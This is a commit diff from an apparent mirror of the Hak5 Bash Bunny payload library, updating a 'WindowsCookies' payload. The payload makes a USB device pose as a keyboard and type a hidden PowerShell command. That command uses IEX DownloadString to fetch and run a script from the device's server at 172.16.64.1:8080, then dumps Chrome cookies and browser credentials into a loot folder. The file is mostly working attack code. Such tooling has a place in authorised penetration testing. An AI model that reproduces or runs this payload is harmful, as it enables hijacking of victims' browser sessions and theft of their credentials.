hak5/bashbunny-payloads
1
0
Fork 0
mirror of https://github.com/hak5/bashbunny-payloads.git synced 2025-10-29 16:58:25 +00:00
Code Issues Packages Projects Releases Wiki Activity

Updated WindowsCookies payload for Bash Bunny v1.1

Browse Source
This commit is contained in:
Darren Kitchen 2017-04-07 16:56:17 +10:00
parent d5ccd9ae4c
commit e0ed65ad9b
1 changed files with 9 additions and 14 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

23
payloads/library/WindowsCookies/payload.txt
View File

@ -10,33 +10,28 @@
# https://github.com/sekirkity/BrowserGather BrowserGather.ps1
# https://github.com/EmpireProject/Empire Get-FoxDump.ps1
# Also credit to illwill for the BrowerCreds payload
#script
#
# LED States
# Setup.............Setup
# Blue..............Running Script
# White.............Setup RNDIS_ETHERNET
# Green.............Got Browser Creds
LED B 200
source bunny_helpers.sh
# QUACK SET_LANGUAGE gb
DUCKY_LANG='fr'
LED SETUP
LOOTDIR=/root/udisk/loot/FacebookSession
mkdir -p $LOOTDIR
ATTACKMODE HID
LED STAGE1
GET SWITCH_POSITION
cd /root/udisk/payloads/$SWITCH_POSITION/
./server.py &
sleep 1
#Dump Chrome Cookies
Q GUI r
Q DELAY 100
Q STRING "powershell -WindowStyle Hidden \"while(\$true){If(Test-Connection 172.16.64.1 -count 1 -quiet){sleep 2;IEX (New-Object Net.WebClient).DownloadString('http://172.16.64.1:8080/p'); Payload; exit}}\""
Q ENTER
RUN WIN "powershell -WindowStyle Hidden \"while(\$true){If(Test-Connection 172.16.64.1 -count 1 -quiet){sleep 2;IEX (New-Object Net.WebClient).DownloadString('http://172.16.64.1:8080/p'); Payload; exit}}\""
LED R G B 100
LED STAGE2
ATTACKMODE RNDIS_ETHERNET
LED G 100
LED FINISH